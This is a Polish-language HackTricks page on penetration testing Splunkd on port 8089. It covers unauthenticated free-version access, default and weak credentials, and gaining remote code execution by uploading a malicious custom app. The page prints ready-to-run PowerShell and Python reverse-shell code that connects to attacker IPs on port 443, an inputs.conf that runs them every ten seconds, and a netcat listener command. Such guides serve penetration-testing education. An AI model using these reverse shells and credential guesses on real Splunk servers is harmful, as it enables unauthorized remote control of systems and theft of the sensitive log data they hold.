# 8089 - Testowanie penetracyjne Splunkd
Zacznij od zera i stań się ekspertem od hakowania AWS dziękihtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
## **Podstawowe informacje**
Splunk to narzędzie do **analizy logów**, które odgrywa kluczową rolę w **zbieraniu, analizowaniu i wizualizacji danych**. Choć początkowo nie było przeznaczone do pełnienia roli narzędzia **SIEM (Security Information and Event Management)**, zyskało popularność w dziedzinie **monitorowania bezpieczeństwa** i **analizy biznesowej**.
Instalacje Splunka są często wykorzystywane do przechowywania **danych poufnych** i mogą stanowić **cennego źródła informacji** dla potencjalnych atakujących, jeśli uda im się skompromitować system. **Domyślny port:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
Serwer WWW **Splunk** domyślnie działa na porcie 8000.
{% endhint %}
## Wyliczanie
### Wersja darmowa
Po 60 dniach **okres próbny Splunk Enterprise** przekształca się w **wersję darmową**, która **nie wymaga uwierzytelnienia**. Nie jest rzadkością, że administratorzy systemów instalują wersję próbną Splunka, aby ją przetestować, a następnie o niej zapominają. Automatycznie przekształca się ona w wersję darmową, która nie posiada żadnej formy uwierzytelnienia, wprowadzając lukę w zabezpieczeniach środowiska. Niektóre organizacje mogą wybrać wersję darmową ze względu na ograniczenia budżetowe, nie do końca rozumiejąc implikacje braku zarządzania użytkownikami/rolami.
### Domyślne dane uwierzytelniające
W starszych wersjach Splunka domyślne dane uwierzytelniające to **`admin:changeme`**, które wygodnie są wyświetlane na stronie logowania.\
Jednak **najnowsza wersja Splunka** ustawia **dane uwierzytelniające** **podczas procesu instalacji**. Jeśli domyślne dane uwierzytelniające nie działają, warto sprawdzić powszechne słabe hasła, takie jak `admin`, `Welcome`, `Welcome1`, `Password123`, itp.
### Pozyskiwanie informacji
Po zalogowaniu do Splunka możemy **przeglądać dane**, uruchamiać **raporty**, tworzyć **wykresy**, **instalować aplikacje** z biblioteki Splunkbase oraz instalować niestandardowe aplikacje.\
Można również uruchamiać kod: Splunk ma wiele sposobów **uruchamiania kodu**, takich jak aplikacje Django po stronie serwera, punkty końcowe REST, skryptowane dane wejściowe i skrypty alarmowe. Powszechną metodą zdobycia zdalnego wykonania kodu na serwerze Splunka jest użycie skryptowanego wejścia.
Co więcej, ponieważ Splunk może być instalowany na hostach z systemem Windows lub Linux, można tworzyć skryptowane dane wejściowe do uruchamiania skryptów Bash, PowerShell lub Batch.
### Shodan
* `Splunk build`
## RCE
### Tworzenie niestandardowej aplikacji
Niestandardowa aplikacja może uruchamiać **skrypty Pythona, Batch, Bash lub PowerShell**.\
Zauważ, że **Splunk ma zainstalowanego Pythona**, więc nawet na systemach **Windows** będzie można uruchamiać kod pythona.
Możesz skorzystać z [**tego**](https://github.com/0xjpuff/reverse\_shell\_splunk) pakietu Splunka, aby nam pomóc. Katalog **`bin`** w tym repozytorium zawiera przykłady dla [Pythona](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) i [PowerShella](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Przejdźmy przez to krok po kroku.
Aby to osiągnąć, najpierw musimy utworzyć niestandardową aplikację Splunka, korzystając z następującej struktury katalogów:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
Katalog **`bin`** będzie zawierał wszelkie **skrypty, które zamierzamy uruchomić** (w tym przypadku odwrócony shell **PowerShell**), a domyślny katalog będzie zawierał plik `inputs.conf`. Nasz odwrócony shell będzie **jednolinijkowym skryptem PowerShell:**
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Plik [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) mówi Splunkowi **który skrypt uruchomić** i jakie są inne warunki. Tutaj ustawiamy aplikację jako włączoną i mówimy Splunkowi, aby uruchamiał skrypt co 10 sekund. Interwał zawsze jest podany w sekundach, a wejście (skrypt) zostanie uruchomione tylko wtedy, gdy ten parametr jest obecny.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Potrzebujemy pliku `.bat`, który zostanie uruchomiony po wdrożeniu aplikacji i wykona polecenie PowerShell.
Następnym krokiem jest wybranie opcji `Zainstaluj aplikację z pliku` i przesłanie aplikacji.
Przed przesłaniem złośliwej niestandardowej aplikacji, uruchommy nasłuchiwanie za pomocą programu Netcat lub [socat](https://linux.die.net/man/1/socat).
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
Na stronie `Prześlij aplikację` kliknij przycisk przeglądaj, wybierz plik tarball, który wcześniej utworzyliśmy, a następnie kliknij `Prześlij`. Gdy tylko **załadujemy aplikację**, status aplikacji automatycznie zmieni się na `Włączony`, a my otrzymamy **odwrotną powłokę**.
#### Linux
Jeśli mielibyśmy do czynienia z hostem **Linux**, musielibyśmy **edytować skrypt Pythona `rev.py`** przed utworzeniem pliku tarball i przesłaniem niestandardowej złośliwej aplikacji. Reszta procesu byłaby taka sama, a my uzyskalibyśmy połączenie z odwrotną powłoką na naszym słuchaczu Netcat i moglibyśmy ruszyć do działania.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Eskalacja uprawnień
Na następnej stronie znajdziesz wyjaśnienie, jak można nadużyć tego usługi do eskalacji uprawnień i uzyskania trwałości:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## Odnośniki
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
Dowiedz się, jak hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.